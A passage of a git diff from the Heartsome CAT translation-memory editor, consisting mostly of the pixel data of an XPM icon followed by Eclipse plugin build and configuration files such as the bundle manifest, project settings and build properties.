W< Z< g3 U[ .1 X[ R1 h3 i3 Z} 1 D2 j3 D2 X| W1 k3 V| W[ l3 Y[ T[ m3 g= +1 Y: n3 o3 p3 a1 q3 r3 !1 s3 s3 t3 u3 v3 w3 x3 y3 z3 A3 B3 C3 D3 E3 F3 G3 }} H3 N' @3 I3 J3 K3 L3 M3 *3 61 12 N3 -3 O3 P3 Q3 R3 S3 T3 U3 V3 W3 H; e< G> K; A$ . . . . ", +". . . . B# p@ q@ i C# X3 Y3 Z3 `3 4 c2 _3 k1 i1 :3 .4 +4 @4 #4 $4 %4 &4 *4 =4 -4 ;4 >4 ,4 '4 )4 !4 ~4 {4 ]4 ^4 <> V_ U% Y: w* f= W< Z[ S} /4 U| .1 (4 _4 C2 S1 Z} 1 D2 T1 C2 :4 k3 U} Y[ <4 [4 }4 |4 G2 14 x* < A* 24 34 `1 44 54 g& 64 64 74 84 94 04 a4 b4 Y! c4 d4 e4 f4 g4 h4 i4 |1 j_ j_ m: j4 K3 k4 l4 m4 n4 o4 p4 q4 r4 s4 t4 u4 v4 w4 x4 y4 z4 A4 B4 C4 8_ -{ z# A$ . . . . ", +". . . . B# p@ q@ i C# D4 E4 F4 G4 H4 I4 (3 c2 J4 K4 L4 M4 N4 O4 P4 Q4 R4 S4 T4 U4 V4 W4 X4 Y4 Z4 `4 5 `[ ]4 | O1 S% < 5- f= .5 +5 @5 g3 U[ U| V[ (4 R1 S1 C2 X} #5 #5 C2 $5 %5 &5 *5 =5 -5 ;5 ;5 T| >5 5- +1 < ,5 U% d= '5 )5 !5 ~5 {5 ]5 ^5 { /5 (5 .{ _5 :5 <5 [5 }5 |5 :( 15 25 j_ m: 35 45 55 65 75 85 95 05 a5 b5 c5 d5 e5 f5 g5 h5 i5 j5 k5 l5 m5 n5 *{ ^] o5 S- A$ . . . . ", +". . . . B# p@ q@ i C# p5 q5 H4 r5 r5 H4 `3 s5 t5 u5 v5 w5 x5 y5 z5 A5 B5 C5 D5 E5 F5 G5 G5 H5 Z4 I5 J5 K5 L5 P( ,5 A* v* 5- M5 V< .5 B2 Z[ Y< N5 O5 l3 (4 k3 W} W} :4 :4 W| %5 P5 Q5 >5 ;5 R5 S5 T5 U5 V5 R} W5 < X5 3- B* Q} Y5 Z5 `5 6 +{ .6 +6 ^( @6 +{ @6 #6 $6 %6 &6 *6 =6 -6 m: ;6 >6 ,6 '6 )6 !6 ~6 {6 ]6 ^6 /6 (6 s4 _6 :6 <6 [6 }6 |6 16 26 36 46 56 66 .- +- z$ A$ . . . . ", +". . . . B# p@ q@ i C# 76 86 r5 96 06 r5 H4 a6 b6 c6 d6 e6 f6 g6 h6 i6 j6 k6 l6 m6 n6 G5 o6 p6 q6 r6 {4 s6 t6 | O1 u6 U% G& v* R| 5- 6- f= 14 `} v6 U[ w6 U} x6 k3 k3 x6 %5 P5 N5 y6 S5 z6 A6 f= B6 C6 D6 E6 A6 F6 G6 H6 I6 D& V_ J6 K6 L6 M6 N6 O6 P6 Q6 R6 S6 T6 U6 V6 W6 X6 Y6 Z6 `6 3_ 7 .7 7} +7 @7 #7 $7 -3 %7 s4 _6 &7 *7 =7 -7 ;7 >7 ,7 '7 )7 !7 ~7 {7 ]7 ^7 y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# /7 (7 _7 :7 <7 [7 }7 |7 17 27 37 47 57 67 77 87 97 07 a7 b7 c7 d7 e7 f7 G5 g7 h7 i7 L5 j7 k7 | d= <> O1 X: v* A2 M5 W< X< S| l7 S} T| l3 W[ %5 m7 P5 n7 o7 ;5 z6 F6 p7 q7 r7 s7 t7 u7 T5 v7 v7 < T% ,5 J& w7 x7 } y7 z7 A7 B7 C7 D7 E7 F7 G7 H7 I7 J7 K7 L7 k4 M7 .7 N7 O7 P7 Q7 R7 S7 T7 U7 V7 v4 W7 X7 Y7 Z7 `7 ,7 8 .8 +8 @8 #8 $8 %8 ^= y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# &8 *8 =8 -8 ;8 >8 ,8 '8 )8 !8 ~8 {8 ]8 ^8 /8 (8 _8 :8 <8 [8 }8 |8 18 28 38 48 58 68 78 88 98 08 O( Q( ^4 a8 b8 c8 d8 e8 f8 g8 h8 i8 [4 F2 j8 U} P5 k8 l8 m8 n8 o8 .5 p8 q8 r8 s8 t8 u8 f= v8 A2 5- +1 < U% u* Q% S( w8 I5 x8 y8 z8 A8 B8 C8 D8 E8 F8 G8 H8 I8 J8 K8 L8 M8 N8 O8 P8 Q8 R8 S8 T8 U8 V8 W8 X8 Y8 Z8 `8 9 .9 +9 @9 #9 $9 %9 &9 x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# *9 =9 -9 ;9 >9 ,9 '9 )9 !9 ~9 {9 ]9 ^9 /9 (9 _9 :9 <9 [9 }9 |9 19 29 39 49 59 69 79 79 89 99 09 a9 b9 c9 d9 e9 f9 g9 h9 i9 j9 k9 S} G2 l9 T| Y[ m9 n9 o9 p9 q9 S| r9 s9 t9 u9 v9 w9 x9 x* y9 n8 p7 p7 5- v* e= D& z9 A9 B9 C9 w8 D9 E9 F9 G9 H9 I9 J9 K9 L9 M9 N9 O9 P9 Q9 R9 S9 T9 U9 V9 W9 X9 Y9 Z9 `9 0 .0 +0 .8 @0 #0 $0 %0 &0 *0 =0 -0 x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# ;0 >0 ,0 '0 )0 !0 ~0 {0 ]0 ^0 /0 (0 _0 :0 <0 [0 }0 |0 10 20 30 40 50 60 70 80 90 00 a0 b0 c0 d0 e0 f0 g0 h0 i0 j0 k0 l0 m0 n0 R} 5- -5 Y< N5 <4 *5 =5 -5 o0 S| p0 q0 r0 s0 t0 u0 v0 A2 w0 x0 y0 S5 l7 z0 +1 A0 u* c= B0 C0 D0 E0 F0 G0 H0 I0 J0 K0 a} L0 M0 N0 O0 P0 Q0 R0 S0 T0 U0 V0 W0 Y9 X0 Y0 Z0 `0 a .8 .9 .a +a @a #a $a %a &a *a y$ x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# =a -a ;a >a ,a 'a )a !a ~a {a ]a ^a /a (a _a :a xa ya za Aa p6 Ba Ca Da Ea Fa Ga Ha Ia Ja Ka B5 La Ma Na i6 Oa Pa 77 Qa Ra Sa Ta Ua ^9 Va Wa Xa @9 Ya Za `a b .b +b @b y$ x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# #b $b %b &b *b =b -b ;b >b ,b 'b )b !b ~b {b ]b ^b /b (b _b :b c ,c 'c )c !c ~c {c ]c ^c /c (c _c :c d ,d 'd )d !d ~d {d ]d ^d /d (d _d :d e ,e 'e )e !e ~e {e ]e ^e /e (e _e :e f ,f 'f )f !f ~f {f ]f _8 ^f /f (f _f Q( c= 5; X5 v8 mc 5- mc mc z6 y9 A* nb pb :f g ,g 'g a8 h= I6 X5 qb < T% R| G2 )g U_ be ce !g ~g b= h= {g ]g ^g /g (g 5; jc 7e _g ae v7 :g h ,h ed 'h )h !h h= ~h ld {h ]h ^h /h 8e !g (h _h :h S% T% +i @i #i sb Y$ $i %i c= &i E9 *i =i -i ;i >i ,i 'i :f )i :h :h !i ~i v0 8e t* Y% {i ]i ^i /i (i _i :i Xi Yi Zi `i j .j K& +j N1 @j af #j $j %j &j *j %i =j ,i -j ob ;j >j ,j B* J& 'j )j !j ~j L& {j [> ]j ^j /j (j _j :j k r* r* ,k 'k )k !k ~k {k ]k ^k /k Ee (k _k :k l ,l 'l )l vf !l ci ~l {l ]l ^l @e /l (l _l :l m ,m 'm )m !m ~m {m ]m ^m /m (m _m :m n ,n 'n )n !n ~n {n ]n ^n /n (n _n :n o ,o 'o )o !o ~o {o ]o ^o /o (o _o :o (n {i $i wo xo yo zo Ao Bo Co Do Eo Fo Go Vj Ho Io Jo Ko Lo Go xn Mo No Oo ^i Sn Po Qo Ro So To Uo Vo Wo Xo Yo Zo `o U_ p .p +p @p #p $p %p &p *p =p -p ;p {o >p ,p 'p )p !p ~p {p ]p ^p /p (p _p :p

    q ,q 'q (n )q !q ~q {q ]q 5l 3m 3m |p 2o bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i ck ^q 5n 5n /q (q _q :q r ,r 'r 1n 3m |p )r 2o bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i ck !r ~r {r {r ]r co :q ^r /r (r _r :r s ,s 7o 7o 's )s !s ~s 7p {s ]s 4r ^s /s (s >s >s _s :s t >t |n ,t 't (s )t !t ~t {t ]t ^t 6; ar b8 iq /t (t _t :t u ,u bs 'u )u !u ~u {u ]u ^u /u (u _u :u 4t ir v ,v 'v )v !v ~v {v ]v ^v /v (v _v :v w ,w 'w )w !w ~w {w ]w ^w /w (w _w :w t pw qw Ns @u rw bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i ck sw tw uw uw uw vw ww xw Dv St Kv yw Ht zw Aw Bw Cw Vu Dw Ew Fw |o Gw Hw zw Iw Jw Kw Lw Mw Y_ Nw Vv Yu Ow '4 Pw Qw Rw Sw Tw Uw tu Vw Ww Xw Yw Zw `w x .x +x @x #x $x %x &x *x =x -x ;x >x ,x 'x )x !x ~x {x ]x ]x ^x /x (x _x :x y ,y 'y 'y )y !y ~y {y ]y ^y /y (y _y :y z ,z 'z )z !z ~z {z ]z ^z ow /z (z _z Su tu :z dw z @A #A $A %A &A *A =A -A ;A >A Iz ,A 'A )A !A ~A {A qw ]A Vr ^A /A ]p >r (A _A 2z :A B ,B 'B )B !B ~B {B ]B 1A Eu ^B /B (B 5x _B :B C ,C 'C )C !C ~C {C ]C ^C /C (C _C :C B qC rC sC tC uC vC wC xC yC zC AC BC CC DC EC FC GC HC IC JC KC LC MC NC OC PC QC RC SC TC VA UC VC WC XC YC ZC `C D .D +D @D #D >C $D $D %D &D *D =D -D ;D >D ,D ,D 'D )D !D ~D {D }o ~q `r ]D ^D eB /D (D _D jw :D E >E >E ,E 'E )E !E |y 6x Rr ~E {E ]E ^E

    F ,F 'F 'F )F !F ~F {F ]F ^F &r /F DA (F _F 0y [z :F :D G ,G 'G )G 5z !G ~G uF 0F {G ]G ]A ^G _E bC }F }F }F :E /G _E 1F (G 0D _G bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i ck 4F :G H ,H bC 'H 'H I ,I 'I )I &I !I ~I {I ]I ^I /I (I _I :I H ;H @J 'H *I |F |F |E #J bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i ck $J %J &J *J =J -J ;J >J ,J 5D 'J )J !J fH ~J {J ]J ^J /J (J _J :J H K J @J :E |F K ,K 'K )K !K ~K !K {K ]K ^K /K L ,L 'L )L !L hx ~L {L ]L {L {L ^L /L (L _L :L M ,M 'M )M !M ~M {M ]M ^M /M (M _M :M N ,N 'N *r )N !N ~N {N ]N ^N /N Fw Av 7r Wt 8z _z (N _N :N H :E 3N bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i 4N 5N 6N O ,O ,O 'O )O }N [N dM dM !O tL MK ~O ;O :N .J $I $I $I ;H {O bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ j ]O ^O /O [F (O 8M _O 3B [F ~O :O O 1N [N dM dM bM uL MK NK ZJ .J .J $I 0N bC YO bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ j ZO `O 0N P 9M .P 3B +P bM )O }N @P #P $P %P &P *P =P -P ;P >P ,P 'P )P !P [x ~P {P Fw ,r Ms +O ]P ^P /P Jv $q Rs 6x fx (P _P :P

    Q ,Q 'Q )Q !Q ~Q av [x {Q ]Q ^Q /Q (Q Xs _Q &O MJ :Q mw O 1N 4Q cM :O tL MK MK ;O ;O +J ;O YJ 5Q bk x# y# z$ A$ . . . . ", +". . . . B# 6Q 7Q p 8Q 9Q VO 0Q aQ tx bQ R zw ,R 'R )R !R ~R }Q {R ]R ^R /R (R (R (R (R _R :R ou r `r gR hR iR jR kR lR mR nR oR pR oR qR rR UQ sR tR uR zv }m vR YQ wR xR [p oz }o }o _D yR ]z zR AR BR =Q =Q CR

    S )G 7s ,S 'S )S !S ~S !S )S SR UQ {S ]S ^S /S (S 2r |n _S :S q rS sS tS Jv |n (s 7p )r uS +S vS |p (s wS xS yS zS AS BS AS CS DS ES FS GS HS IS JS KS LS MS NS 5z OS JS PS QS RS SS TS US VS WS XS YS ZS `S T .T +T @T #S #T 5l $T %T &T *T [p /N nw pz }o 5x =T -T ;T >T NQ ,T 'T cw >r hw VO )T GR 9S !T ~T 7S 7S aS 6S aS ;O {T bk x# y# z$ A$ . . . . ", +". . . . B# ' 7 l ]T ^T /T 8E (T _T Mv Wt :T J oT $r pT qT rT sT tT _D ]z [C uT rT vT wT xT yT zT AT BT CT DT ET FT GT HT IT JT KT LT MT Ur NT OT OS PT QT /E RT RT ST ^z fx (o bx TT NQ NQ UT VT Nt Mt +u zv _T HR ~T &K WT 7S aS 7S TK XT bk x# y# z$ A$ . . . . ", +". . . . B# 6Q } p YT ZT `T U .U +U Mu Jv IQ @U 3m +U #U $U %U &U *U =U %U -U ;U yS +r >U ,U 'U %q )U *q !U ~U {U ]U ^U %r Dv /U (U >J _U :U V MJ 3C xE ,V 'V )V !V ~V {V ~V ]V ^V /V (V _V .R :V Cw p bA (O xV cz yV zV AV BV CV @V DV DV @V EV FV GV HV NT IV JV KV !E LV MV NV OV PV QV RV SV TV UV VV WV XV YV nw ZV Vt `V W _U _U .W |V +W Vt @W iw #W $W >U wU %W &W *W =W pz -W `H ;W JS JS >W 9V MJ ,W Mv ~A WT ~T ~T [T cV 'W bk x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i )W !W ~W {W nT $S ]W ^W /W (W %q CS _W :W mV X ,X FS 'X )X !X cw Ot ~X {X ]X ^X /X ]X (X Yv _X :X Y ,Y 'Y r 4V )p KY AV sY wY LY MY ZW X 0p ;J NY OY PY :q /s 2Y QY RY SY }o )U Z ,Z 'Z ,Z )Z !Z ~Z =p {Z 3x ]Z ZY ^Z /Z (Z _Z IX :Z iw ` ;V ,` '` )` 'U !` ~` {` bZ x# y# z$ A$ . . . . ", +". . . . B# ' ]` ^` /` (` 7U _` :` 3Z wu <` }o [` }` ZW |` )X )X -V iz =` }q 1` ` 2` 3` 4` $Z 5` AX 6` 7` 8` -Z QZ 9` Fw 0` a` b` KZ KZ c` d` +t (s e` f` g` h` i` j` k` k` JZ KZ l` m` n` gW }n o` p` LJ q` r` s` t` s` u` v` w` ~P Vr ;q x` y` z` BC A` B` C` D` E` 8T 3` F` G` %` |Z tY #X $` =` Kt [m H` I` J` K` @W L` 3Z 6X 5z M` ;V ;V N` Rr O` P` NW Q` bZ x# y# z$ A$ . . . . ", +". . . . B# ' cZ r R` S` T` U` gx V` W` X` pz Ls WQ Y` )X `W Z` =` ,X 3` =V `` .. .yv AZ $Z +Z c` + .0` Ys @ .QZ QZ # .`t $ .b` % .& .* .NZ Zt = .- .; .> .}r , .p *t 7 .zX 8 .8 .%` #X $` bo Ur xZ 9 .0 .)L It qU )U gX 0X 9V a .JV b ._o c .d .e .f .bZ x# y# z$ A$ . . . . ", +". . . . B# 6Q 7 g .h .i .j .)X k ./N l .m .rv zR n .)X (Y E` *q o .aY p .4q q .D` r .s .%Z t .u .v .%U w .!t >t x .y .z .A .B .Y *q xZ ]z #..ZW JV $..(A !I %..&..bZ x# y# z$ A$ . . . . ", +". . . . B# 6Q } l *..=..<` @..ZW 2W %O -..;..>..2Y 3Y ,..$r p .AZ '..)..:q !..QZ ~..hp {..]..^..KZ IZ /..(.._..:..:..I ., .<..[..H .}..* .D .|..2r 1..2..#T 3..4..5..}..}..G .H .H .6..7..8..9..0..2..a..b..c..M .d..e..f..Bt g..h..i..RP RP tu j..k..l..m..n..o..p..q..r..%q s..t..QK u..u..` .v..dD 3` w.. M x..y..)L Tr 'p &q 'U tT lU z..ZW A..;r B..It C..bZ x# y# z$ A$ . . . . ", +". . . . B# 6Q 7Q k YT D..1Y /s E..)X )X )X 2Y F..G... .6p )..H..I..J..%Z =s S QZ K..(s L..M..N..6..C .s |q V..W..X..Y..Y..}..Z..6..`.. +..+.7p ++.@+.CU #+.$+.d..%+.&+.*+.=+.{p -+.;+.Lu ,r tQ >+.,+.'+.)+.!+.rF ~+.{+.%r }q ]+.^+./+.(+._+.:+.<+.$` Y Ht x+.y+.}z z+.A+.N .B+.C+.D+.`H 3y E+.E+.Jv {q [z F+.G+.Ms H+.LJ I+.2m J+.K+.*q +t L+.QK (+._+.M+.N+.O+.P+.)U pT x..Q+.[m R+.&q )U sU NS `H `W ZW S+.4x !L T+.U+.x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i V+.W+.PY X+.Nu wX 0p 6p s .Y+.WY H..Z+.#V `+.l` MZ @..@.,p +@.; .@@.3r 3q #@.$@.JZ r+.}..H .%@.t+.t+.H .}..X..Y..&@.*@.=@.g` -@.;@.>@.3` ,@.'@.s+.)@.X..s+.q+.!@.'@.~@.L..Ps Lu {@.]@.Mt ^@./@.(@._@.:@.<@.(o oL Kv [@.}@.xu 4y |@.E+.x` F+.xu 9x 1@.2@.3@.+r :..4@.]H _+._+.5@.5@.,I 6@.4q 7@.!I Q+.8@.Tr )s &q Tr 0X }t 9@.)X 0@.Y t@.u@.!@.X..X..v@.w@.x@.y@.z@.A@.B@.3r C@.D@.E@.yU F@.G@.H@.I@.J@.K@.4y 'U J` L@.M@.1n RP N@.T..4y O@.P@.{p pL Q@.R@.9..8o S@.T@._+.U@.U@.V@.W@.X@.&Z *q -q Y@.Z@.Jt &q !` `@.6V (A #.)X .#.PO 5X b@.+#.x# y# z$ A$ . . . . ", +". . . . o@ p@ q@ i '. @#.##.h+.:W m` $#.i@.*U R..C .JZ G .r+.r+.X..Y..q+.%#.&#.8o *#.D@.=#.#.,#.,#.'#.'#.'#.)#.)#.)#.!#.~#.{#.]#.^#./#.(#._#.:#.<#.[#.}#.)#.)#.|#.}#.1#.2#.3#.4#.nx (S 5#.6#.7#.ER 8#.9#.0#.a#.b#.c#.d#.e#.HV f#.g#.h#.Jt i#.j#.pw k#.l#.$r )U Os m#.n#.o#.p#.{H q#.r#.s#.s#.t#.u#.v#.,s P` 3@.w#.)U Ev x#.0p d .y#.uN QZ z#.A#.B#.C#.D#.x# y# z# A# . . . . ", +". . . . 4+ ' [ i zL E#.F#.G#.H#.H#.I#.I#.J#.K#.L#.M#.N#.N#.N#.O#.P#.Q#.R#.S#.T#.U#.V#.W#.X#.Y#.Z#.`#. $..$.+$.@$.#$.#$.#$.#$.#$.$$.%$.&$.*$.++.=$.-$.;$.>$.,$.'$.)$.!$.~$.{$.{$.]$.^$.[@./$.($._$.:$.<$.[$.}$.|$.1$.2$.3$.4$.5$.6$.7$.q#.8$.9$.0$.a$.w#.b$.c$.d$.e$.9$.e$.f$.g$.h$.i$.j$.k$.k$.l$.m$.n$.o$.p$.q$.r$.s$.t$.u$.9$.v$.w$.x$.y$.z$.ZW jW A$.B$.C$.D$.l@ m@ _ n@ . . . . ", +". . . . E$.F$./. h !. G$.H$.I$.I$.I$.I$.I$.I$.I$.I$.I$.I$.I$.I$.I$.I$.J$.K$.L$.M$.N$.O$.P$.Q$.R$.S$.T$.J$.I$.I$.I$.I$.I$.I$.I$.J$.T$.S$.U$.V$.W$.X$.Y$.Z$.`$. %.J$.I$.J$..%. %.+%.@%.M$.N$.#%.$%.%%.&%.*%.X$.=%.-%.;%.;%.Q$.>%.M$.M$.M$.,%.V$.;%.Y$.N$.=%.-%.-%.Q$.>%.'%.M$.,%.Z$.)%.+%. %.J$.I$.I$.I$.I$.!%.~%.`$.{%.]%.Z$.@%.^%./%.(%.{%.V$.O$._%.:%.-%.Z$.<%.[%.h [ ' 3+ . . . . ", +" . . . @ ; : h }%.!. |%.|%.|%.|%.|%.|%.|%.|%.|%.|%.|%.|%.|%.|%.|%.|%.1%.5+.2%.3%.4%.4%.3%.2%.5+.1%.|%.|%.|%.|%.|%.|%.|%.|%.|%.1%.5+.2%.5%.4%.4%.5%.2%.5+.1%.|%.|%.|%.eV 6%.5+.2%.5%.4%.7%.8%.KR dZ 9%.4%.0%.3%.a%.a%.b%.c%.2%.2%.2%.d%.a%.e%.a%.3%.f%.a%.a%.a%.d%.g%.h%.d%.g%.HU i%.cX j%.j%.j%.j%.j%.k%.cX i%.HU g%.g%.HU i%.l%.l%.HU e%.m%.n%.o%.p%.g%.q%.r%.h !. ~. {. . . . ", +" . . . s%.] f g h h t%.t%.t%.t%.t%.t%.t%.t%.t%.t%.t%.t%.t%.t%.t%.t%.t%.u%.u%.v%.w%.w%.w%.v%.u%.u%.t%.t%.t%.t%.t%.t%.t%.t%.t%.u%.u%.v%.w%.w%.w%.v%.u%.u%.t%.t%.t%.t%.t%.u%.u%.v%.w%.x%.x%.x%.x%.x%.w%.w%.w%.v%.v%.v%.v%.v%.v%.v%.v%.v%.v%.v%.v%.v%.w%.v%.v%.v%.v%.v%.v%.v%.v%.u%.u%.t%.t%.t%.t%.t%.t%.t%.u%.u%.u%.v%.v%.u%.u%.u%.u%.u%.v%.w%.w%.w%.v%.v%.y%.h z%.A%.B%.C%.. . . ", +" . . . . D%.E%.F%.G%.H%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.J%.K%.K%.K%.K%.K%.J%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.J%.K%.K%.K%.K%.K%.J%.I%.I%.I%.I%.I%.I%.I%.K%.K%.L%.M%.M%.M%.L%.L%.L%.K%.K%.K%.K%.K%.K%.K%.J%.J%.J%.K%.K%.K%.K%.K%.K%.K%.K%.K%.K%.J%.K%.K%.J%.J%.I%.I%.I%.I%.I%.I%.I%.I%.I%.I%.J%.J%.J%.J%.I%.I%.I%.J%.K%.K%.K%.K%.K%.K%.< : N%.O%.P%.. . . . ", +" . . . . Q%.R%.E%.S%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.T%.U%.; e V%.. . . . . ", +" . . . . . W%.D%.X%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Y%.Z%.@ `%.. . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . "}; diff --git a/te/net.heartsome.cat.te.feature/icons/macosx/tmx.icns b/te/net.heartsome.cat.te.feature/icons/macosx/tmx.icns new file mode 100644 index 0000000..43ec0d5 Binary files /dev/null and b/te/net.heartsome.cat.te.feature/icons/macosx/tmx.icns differ diff --git a/te/net.heartsome.cat.te.feature/icons/win/tmx_16.bmp b/te/net.heartsome.cat.te.feature/icons/win/tmx_16.bmp new file mode 100644 index 0000000..23a634b Binary files /dev/null and b/te/net.heartsome.cat.te.feature/icons/win/tmx_16.bmp differ diff --git a/te/net.heartsome.cat.te.feature/icons/win/tmx_32.bmp b/te/net.heartsome.cat.te.feature/icons/win/tmx_32.bmp new file mode 100644 index 0000000..e54808d Binary files /dev/null and b/te/net.heartsome.cat.te.feature/icons/win/tmx_32.bmp differ diff --git a/te/net.heartsome.cat.te.feature/icons/win/tmx_48.bmp b/te/net.heartsome.cat.te.feature/icons/win/tmx_48.bmp new file mode 100644 index 0000000..a2e8834 Binary files /dev/null and b/te/net.heartsome.cat.te.feature/icons/win/tmx_48.bmp differ diff --git a/te/net.heartsome.cat.te.feature/plugin_customization.ini b/te/net.heartsome.cat.te.feature/plugin_customization.ini new file mode 100644 index 0000000..ecdf68e --- /dev/null +++ b/te/net.heartsome.cat.te.feature/plugin_customization.ini @@ -0,0 +1 @@ +org.eclipse.ui/SHOW_PROGRESS_ON_STARTUP = true diff --git a/te/net.heartsome.cat.te.tmxeditor/.classpath b/te/net.heartsome.cat.te.tmxeditor/.classpath new file mode 100644 index 0000000..dc6b5aa --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/te/net.heartsome.cat.te.tmxeditor/.project b/te/net.heartsome.cat.te.tmxeditor/.project new file mode 100644 index 0000000..cfe53fb --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.te.tmxeditor + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/te/net.heartsome.cat.te.tmxeditor/.settings/org.eclipse.jdt.core.prefs b/te/net.heartsome.cat.te.tmxeditor/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..18fc2b2 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri May 17 14:18:37 CST 2013 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/te/net.heartsome.cat.te.tmxeditor/META-INF/MANIFEST.MF b/te/net.heartsome.cat.te.tmxeditor/META-INF/MANIFEST.MF new file mode 100644 index 0000000..f454448 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/META-INF/MANIFEST.MF @@ -0,0 +1,33 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TE Editor +Bundle-SymbolicName: net.heartsome.cat.te.tmxeditor;singleton:=true +Bundle-Version: 8.0.0.R8b_v20140103 +Bundle-Activator: net.heartsome.cat.te.tmxeditor.Activator +Bundle-Vendor: Heartsome Technologies Ltd. +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.sourceforge.nattable.core;bundle-version="8.0.0", + net.heartsome.cat.te.core;bundle-version="1.0.0", + org.eclipse.jface.text;bundle-version="3.7.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0", + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.xml;bundle-version="8.0.1", + org.eclipse.core.expressions;bundle-version="3.4.300" +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Bundle-ActivationPolicy: lazy +Bundle-Localization: plugin +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.common.innertag, + net.heartsome.cat.common.innertag.factory, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.innertag, + net.heartsome.cat.common.ui.utils, + net.heartsome.cat.common.util +Export-Package: net.heartsome.cat.te.tmxeditor, + net.heartsome.cat.te.tmxeditor.editor, + net.heartsome.cat.te.tmxeditor.editor.history, + net.heartsome.cat.te.tmxeditor.view +Bundle-ClassPath: lib/KTable.jar, + . + diff --git a/te/net.heartsome.cat.te.tmxeditor/build.properties b/te/net.heartsome.cat.te.tmxeditor/build.properties new file mode 100644 index 0000000..2fcc062 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/build.properties @@ -0,0 +1,10 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + plugin.properties,\ + lib/,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/te/net.heartsome.cat.te.tmxeditor/images/Nonprintting.png b/te/net.heartsome.cat.te.tmxeditor/images/Nonprintting.png new file mode 100644 index 0000000..2f660ff Binary files /dev/null and 